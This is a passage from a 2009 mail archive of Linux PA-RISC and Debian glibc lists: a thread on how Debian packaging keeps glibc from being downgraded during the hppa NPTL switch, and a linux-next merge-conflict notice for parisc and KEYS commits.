Version: GnuPG v2.0.11 (GNU/Linux)

iQIcBAABAgAGBQJKnbZlAAoJEEFjO5/oN/WBRiYP/RZSRtshdPXyzkxYWnr3mAMR
pkhoVsytwkOzwTJQt1dOE6jVVv20AcgxCFmjR1jQ6bHOUoGHqwjsn5hWBTqMpcRl
ncmc0WgLKQEsDpRm6pKgjvqLVtoDHekO3l50D51Sxc/McMAbPTVANmgfSJUfK+NL
RVlVyGqZ0Jl5BZlKPTZAE9XkrjF9Cdkm9eAOSJWBGSvKES7eeJ2K3FG/Ac8ohXO0
T70O5awQz/juNnnPnzvMf6lVkh4vgyhGuSpqgeBUNG6Kk5d9LPqI2SpUazTq8g3D
4r1n2eZtHICQI5JNX0pgS8jpebRB7iEj3B6RDr3g0qNg2sEVew0Ts/9b8CJLREMi
V8ZTqPDVaO2BPePDWSdinP17OdkcotI++DlnD7FhPZtqlMcty30eMgrvFdClwEEd
lSz4Chq0Fqe1+Vmo5EJHJWSvJem97ER56awzctOLrvM1fL99Af8Avo9qL3iYvRX3
VAZwj5D7Tdfy6F2z7M+/lxQScdcyy2vmQdAMRXgxyuBWivEXVUQ5XAhMTpVkO7PM
jUtPtWj0I0hoqUuV71BK8USb9EmHEwur7cktG05Mjff63KnwEVHEHC+HiQ/tlFyi
2mmvPXvVeOyorY/FkyVqGPJU7Cyy6xYrS/KnbWljmathXP+75GzAOtAOwihrYiPQ
isLksKe/KrE1twWgFR4n
=Y5f9
-----END PGP SIGNATURE-----

--nextPart1727791.UFAkbaJvdF--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc,gmane.linux.ports.parisc
Subject: Re: hppa nptl switch
Date: Wed, 2 Sep 2009 10:09:22 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab440909020709m72645cf7j61103d577bd387d7@mail.gmail.com>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz>
	 <119aab440909010655j148ad3b8oae5328d646ef570c@mail.gmail.com>
	 <4A9D42C3.70103@aurel32.net> <200909012003.49114.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1251900594 1221 80.91.229.12 (2 Sep 2009 14:09:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2009 14:09:54 +0000 (UTC)
Cc: Aurelien Jarno <aurelien@aurel32.net>, debian-hppa@lists.debian.org, 
	debian-glibc@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Wed Sep 02 16:09:46 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MiqWq-0004Wo-RI
	for debian-hppa@m.gmane.org; Wed, 02 Sep 2009 16:09:40 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 6C0462D0D43; Wed,  2 Sep 2009 14:09:40 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.4 required=4.0 tests=LDO_WHITELIST,
	SARE_MSGID_LONG40 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 828FB2D0D3C
	for <lists-debian-hppa@liszt.debian.org>; Wed,  2 Sep 2009 14:09:33 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.363 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, LDO_WHITELIST=-5, SARE_MSGID_LONG40=0.637]
	autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id Wf5GsL80GbmB for <lists-debian-hppa@liszt.debian.org>;
	Wed,  2 Sep 2009 14:09:26 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -6.9
Original-Received: from mail-ew0-f224.google.com (mail-ew0-f224.google.com [209.85.219.224])
	by liszt.debian.org (Postfix) with ESMTP id 562EE2D0D23;
	Wed,  2 Sep 2009 14:09:26 +0000 (UTC)
Original-Received: by ewy24 with SMTP id 24so801894ewy.23
        for <multiple recipients>; Wed, 02 Sep 2009 07:09:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=5oTzi2RMLqp4sDNYsukHuaOFLcZlmAzO1qEGeEm/l8Q=;
        b=ZkB4ZTAgJwnPLkbXj/xdiXsjUOsd6c06nvM8G9p0mst4qekQ5RR5pyLE3rLpT6PZF5
         pUAQPV/QgPMpEsus9XhepehoUcloG8x8Q41GSqA22t3PbyMHOoDooRLw5dv0lS9cfR+p
         lQ7BfuLCsUyOaa0SlWJYihZ0CdNkB83TaUgBI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=tspU7F8iWhx1VYUviMXgq1Z+JhYPZgHTbgOXVie3g4vf09SSg/SoHU0fch1sAMawRr
         UXjDJxDmlhpxdZ82lu0eilWbG0APWUKV0K2YUBV19iU1sBEb00x0E5US5Po5QjISE+p/
         Q29NwI++oYK7Eum/v+YeAZ1UZnt+Vdy/exNbo=
Original-Sender: patofiero@gmail.com
Original-Received: by 10.216.87.136 with SMTP id y8mr184198wee.43.1251900562685; Wed, 
	02 Sep 2009 07:09:22 -0700 (PDT)
In-Reply-To: <200909012003.49114.vapier@gentoo.org>
X-Google-Sender-Auth: f04624f41b247e73
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <lTCxSv834KD.A.ZkG.kynnKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6984
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed,  2 Sep 2009 14:09:40 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5987 gmane.linux.debian.devel.glibc:30240 gmane.linux.ports.parisc:2098
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2098>

On Tue, Sep 1, 2009 at 8:03 PM, Mike Frysinger<vapier@gentoo.org> wrote:
> i think the question was one about packaging rather than general use ? =
=A0if you
> build a package against a newer glibc version but it only uses older symb=
ols,
> then in theory it should work fine with older glibc versions. =A0if the s=
ymbol
> changes between versions, then it should have corresponding symbol versio=
n
> changes as well (which will automatically be recorded in the binary).

Yes, the question is specifically about packaging.

If the answer is "Debian does not prevent you from downgrading glibc,
even if you have new packages built against the new glibc", then I
accept that.

However, I have another question. What prevents applications built on
a buildd against a newer glibc, from being installed on a system with
an older glibc? Glibc provides backwards compatibility, but *not*
forwards. What happens in the packaging subsystem to prevent this?

How does an application encode "I was built against glibc X.Y,
therefore I should only be run on such a glibc or newer."

Cheers,
Carlos.



From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc
Subject: Re: hppa nptl switch
Date: Wed, 2 Sep 2009 16:55:48 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20090902145548.GB10024@hall.aurel32.net>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz> <119aab440909010655j148ad3b8oae5328d646ef570c@mail.gmail.com> <4A9D42C3.70103@aurel32.net> <200909012003.49114.vapier@gentoo.org> <119aab440909020709m72645cf7j61103d577bd387d7@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1251903367 11444 80.91.229.12 (2 Sep 2009 14:56:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2009 14:56:07 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>, debian-hppa@lists.debian.org,
	debian-glibc@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 02 16:56:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MirFd-0006kG-9K
	for glpp-linux-parisc@lo.gmane.org; Wed, 02 Sep 2009 16:55:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752076AbZIBOzu convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Sep 2009 10:55:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751574AbZIBOzu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 2 Sep 2009 10:55:50 -0400
Original-Received: from hall.aurel32.net ([88.191.82.174]:40496 "EHLO hall.aurel32.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752076AbZIBOzt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Sep 2009 10:55:49 -0400
Original-Received: from aurel32 by hall.aurel32.net with local (Exim 4.69)
	(envelope-from <aurelien@aurel32.net>)
	id 1MirFU-0002lp-70; Wed, 02 Sep 2009 16:55:48 +0200
Content-Disposition: inline
In-Reply-To: <119aab440909020709m72645cf7j61103d577bd387d7@mail.gmail.com>
X-Mailer: Mutt 1.5.18 (2008-05-17)
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2099 gmane.linux.debian.ports.hppa:5989 gmane.linux.debian.devel.glibc:30241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2099>

On Wed, Sep 02, 2009 at 10:09:22AM -0400, Carlos O'Donell wrote:
> On Tue, Sep 1, 2009 at 8:03 PM, Mike Frysinger<vapier@gentoo.org> wro=
te:
> > i think the question was one about packaging rather than general us=
e ? =A0if you
> > build a package against a newer glibc version but it only uses olde=
r symbols,
> > then in theory it should work fine with older glibc versions. =A0if=
 the symbol
> > changes between versions, then it should have corresponding symbol =
version
> > changes as well (which will automatically be recorded in the binary=
).
>=20
> Yes, the question is specifically about packaging.
>=20
> If the answer is "Debian does not prevent you from downgrading glibc,
> even if you have new packages built against the new glibc", then I
> accept that.
>=20

With the correct shlibs and symbol files, all packages built against th=
e
new glibc will depends on libc6 (>=3D 2.10). This way it won't be possi=
ble
to downgrade the libc6 packages is packages compiled against the new
glibc are installed.

--=20
Aurelien Jarno	                        GPG: 1024D/F1BCDB73
aurelien@aurel32.net                 http://www.aurel32.net
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc
Subject: Re: hppa nptl switch
Date: Wed, 2 Sep 2009 11:24:18 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <119aab440909020824n65daaa9i1cffc3ffd5e30076@mail.gmail.com>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz>
	 <119aab440909010655j148ad3b8oae5328d646ef570c@mail.gmail.com>
	 <4A9D42C3.70103@aurel32.net> <200909012003.49114.vapier@gentoo.org>
	 <119aab440909020709m72645cf7j61103d577bd387d7@mail.gmail.com>
	 <20090902145548.GB10024@hall.aurel32.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1251905069 17730 80.91.229.12 (2 Sep 2009 15:24:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2009 15:24:29 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>, debian-hppa@lists.debian.org,
	debian-glibc@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 02 17:24:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mirh8-0002zB-DS
	for glpp-linux-parisc@lo.gmane.org; Wed, 02 Sep 2009 17:24:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752503AbZIBPYS convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Sep 2009 11:24:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752577AbZIBPYS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 2 Sep 2009 11:24:18 -0400
Original-Received: from mail-fx0-f217.google.com ([209.85.220.217]:40963 "EHLO
	mail-fx0-f217.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752503AbZIBPYR convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Sep 2009 11:24:17 -0400
Original-Received: by fxm17 with SMTP id 17so861638fxm.37
        for <linux-parisc@vger.kernel.org>; Wed, 02 Sep 2009 08:24:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=mNj66k+tOuk9HcakQ+65ootSPSXhznGUeZJ/sFOnD7E=;
        b=M/6yFVaSIty6m/f2cXxjc7YFhoYsDZB7uvf9PX7f3JhkeQaWc3obqvxmJcoRbu29OQ
         xF3oJiMxPljhJ4gTsMANm6sg2cfu6qtUKLRujCdPoeGA6z3i2rT4OK+HKlYfxDTV4bGK
         x/WjQn5VPuLcbmA0o96iADJPAkpYr1+674gDw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=bjHGM0k7dxTRLsa/ImEZcMd1Nh2F/FYmLWQDykXkkofevhjr01FdunLBzOTfZOnoeE
         sK5d/Q+ALEsYGMsTMJuZZZyp69q8vFH0SiOS52nraLFR/5qA/7RUgpYvOO8WPnjc7gIM
         KLsL3RM5sjFHUligC5ypm5BMz4dF12BOjoUGU=
Original-Received: by 10.216.13.74 with SMTP id a52mr217414wea.145.1251905058635; Wed, 
	02 Sep 2009 08:24:18 -0700 (PDT)
In-Reply-To: <20090902145548.GB10024@hall.aurel32.net>
X-Google-Sender-Auth: 67954d1334f12f49
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2100 gmane.linux.debian.ports.hppa:5990 gmane.linux.debian.devel.glibc:30242
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2100>

On Wed, Sep 2, 2009 at 10:55 AM, Aurelien Jarno<aurelien@aurel32.net> w=
rote:
> On Wed, Sep 02, 2009 at 10:09:22AM -0400, Carlos O'Donell wrote:
>> On Tue, Sep 1, 2009 at 8:03 PM, Mike Frysinger<vapier@gentoo.org> wr=
ote:
>> > i think the question was one about packaging rather than general u=
se ? =A0if you
>> > build a package against a newer glibc version but it only uses old=
er symbols,
>> > then in theory it should work fine with older glibc versions. =A0i=
f the symbol
>> > changes between versions, then it should have corresponding symbol=
 version
>> > changes as well (which will automatically be recorded in the binar=
y).
>>
>> Yes, the question is specifically about packaging.
>>
>> If the answer is "Debian does not prevent you from downgrading glibc=
,
>> even if you have new packages built against the new glibc", then I
>> accept that.
>>
>
> With the correct shlibs and symbol files, all packages built against =
the
> new glibc will depends on libc6 (>=3D 2.10). This way it won't be pos=
sible
> to downgrade the libc6 packages is packages compiled against the new
> glibc are installed.

Is the shlibs sufficient? For example, data structures aren't
versioned. In my new NPTL patches, I change PTHREAD_COND_INITIALIZER,
but I do not version anything (not required because the current
functions support both old and new style initializers), therefore the
symbol files will be identical?

Thanks a lot for your help in answering my debian related packaging que=
stions.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc
Subject: Re: hppa nptl switch
Date: Wed, 02 Sep 2009 17:28:22 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <4A9E8F16.2040302@aurel32.net>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz>	 <119aab440909010655j148ad3b8oae5328d646ef570c@mail.gmail.com>	 <4A9D42C3.70103@aurel32.net> <200909012003.49114.vapier@gentoo.org>	 <119aab440909020709m72645cf7j61103d577bd387d7@mail.gmail.com>	 <20090902145548.GB10024@hall.aurel32.net> <119aab440909020824n65daaa9i1cffc3ffd5e30076@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1251905321 18671 80.91.229.12 (2 Sep 2009 15:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2009 15:28:41 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>, debian-hppa@lists.debian.org,
	debian-glibc@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 02 17:28:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MirlB-0003yl-7r
	for glpp-linux-parisc@lo.gmane.org; Wed, 02 Sep 2009 17:28:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752503AbZIBP23 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Sep 2009 11:28:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752577AbZIBP23
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 2 Sep 2009 11:28:29 -0400
Original-Received: from hall.aurel32.net ([88.191.82.174]:45499 "EHLO hall.aurel32.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752503AbZIBP22 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Sep 2009 11:28:28 -0400
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by hall.aurel32.net with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <aurelien@aurel32.net>)
	id 1Mirl6-0003Ip-EC; Wed, 02 Sep 2009 17:28:28 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.22 (X11/20090707)
In-Reply-To: <119aab440909020824n65daaa9i1cffc3ffd5e30076@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2101 gmane.linux.debian.ports.hppa:5991 gmane.linux.debian.devel.glibc:30243
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2101>

Carlos O'Donell a =E9crit :
> On Wed, Sep 2, 2009 at 10:55 AM, Aurelien Jarno<aurelien@aurel32.net>=
 wrote:
>> On Wed, Sep 02, 2009 at 10:09:22AM -0400, Carlos O'Donell wrote:
>>> On Tue, Sep 1, 2009 at 8:03 PM, Mike Frysinger<vapier@gentoo.org> w=
rote:
>>>> i think the question was one about packaging rather than general u=
se ?  if you
>>>> build a package against a newer glibc version but it only uses old=
er symbols,
>>>> then in theory it should work fine with older glibc versions.  if =
the symbol
>>>> changes between versions, then it should have corresponding symbol=
 version
>>>> changes as well (which will automatically be recorded in the binar=
y).
>>> Yes, the question is specifically about packaging.
>>>
>>> If the answer is "Debian does not prevent you from downgrading glib=
c,
>>> even if you have new packages built against the new glibc", then I
>>> accept that.
>>>
>> With the correct shlibs and symbol files, all packages built against=
 the
>> new glibc will depends on libc6 (>=3D 2.10). This way it won't be po=
ssible
>> to downgrade the libc6 packages is packages compiled against the new
>> glibc are installed.
>=20
> Is the shlibs sufficient? For example, data structures aren't
> versioned. In my new NPTL patches, I change PTHREAD_COND_INITIALIZER,
> but I do not version anything (not required because the current
> functions support both old and new style initializers), therefore the
> symbol files will be identical?
>=20

Yes, but we can change the symbol files so that all versions of all
symbols (for current symbols) resolve to libc6 (>=3D 2.10). This has
already been done for example for the sparc v8 to sparc v8plus ABI chan=
ge.

--=20
Aurelien Jarno                          GPG: 1024D/F1BCDB73
aurelien@aurel32.net                 http://www.aurel32.net
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel
Subject: linux-next: manual merge of the security-testing tree with the
 parisc tree
Date: Thu, 3 Sep 2009 15:46:36 +1000
Lines: 43
Approved: news@gmane.org
Message-ID: <20090903154636.e70c50da.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Thu__3_Sep_2009_15_46_36_+1000_Ohoksu82jTWe4ByM"
X-Trace: ger.gmane.org 1251956835 32578 80.91.229.12 (3 Sep 2009 05:47:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Sep 2009 05:47:15 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org,
	David Howells <dhowells@redhat.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	<linux-parisc@vger.kernel.org>
To: James Morris <jmorris@namei.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 03 07:47:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mj5A3-0004je-5J
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Sep 2009 07:47:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754331AbZICFqq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Sep 2009 01:46:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754344AbZICFqp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 3 Sep 2009 01:46:45 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:34392 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754331AbZICFqo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Sep 2009 01:46:44 -0400
Original-Received: from canb.auug.org.au (bh02i525f01.au.ibm.com [202.81.18.30])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id 9541114501B;
	Thu,  3 Sep 2009 15:46:43 +1000 (EST)
X-Mailer: Sylpheed 2.7.1 (GTK+ 2.16.5; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2102 gmane.linux.kernel.next:9032 gmane.linux.kernel:884996
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2102>

--Signature=_Thu__3_Sep_2009_15_46_36_+1000_Ohoksu82jTWe4ByM
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi James,

Today's linux-next merge of the security-testing tree got conflicts in
arch/parisc/include/asm/thread_info.h, arch/parisc/kernel/entry.S and
arch/parisc/kernel/signal.c between commit 9f4259771faf1ffd99888796d925adae=
4c93630b ("parisc: add TIF_NOTIFY_RESUME and use tracehook_notify_resume") =
from the parisc tree and
commits d0420c83f39f79afb82010c2d2cafd150eef651b ("KEYS: Extend
TIF_NOTIFY_RESUME to (almost) all architectures [try #6]") and
ee18d64c1f632043a02e6f5ba5e045bb26a5465f ("KEYS: Add a keyctl to install
a process's session keyring on its parent [try #6]") from the
security-testing tree.

Overlapping changes.  I fixed it up (using the parisc versions and adding
the extra change from the latter security-testing patch) and can carry
the fixes as necessary.
--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Thu__3_Sep_2009_15_46_36_+1000_Ohoksu82jTWe4ByM
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkqfWDwACgkQjjKRsyhoI8xO1wCguPqeZiR4YX5YW6vaTcxVS0fD
Lz0AoKP3cYPaaA+nRb9uo7KiUZ/pPJO7
=8v1y
-----END PGP SIGNATURE-----

--Signature=_Thu__3_Sep_2009_15_46_36_+1000_Ohoksu82jTWe4ByM--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Artem Alimarine <artem.alimarine@stromasys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: unaligned accesses in apply_relocate_add
Date: Sat, 05 Sep 2009 00:37:07 +0200
Organization: Stromasys SA
Lines: 44
Approved: news@gmane.org
Message-ID: <4AA19693.4040500@stromasys.com>
References: <4A94F439.6010301@stromasys.com> <20090826131749.GE19494@bombadil.infradead.org> <4A954990.7070007@stromasys.com> <20090828184201.GA14548@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
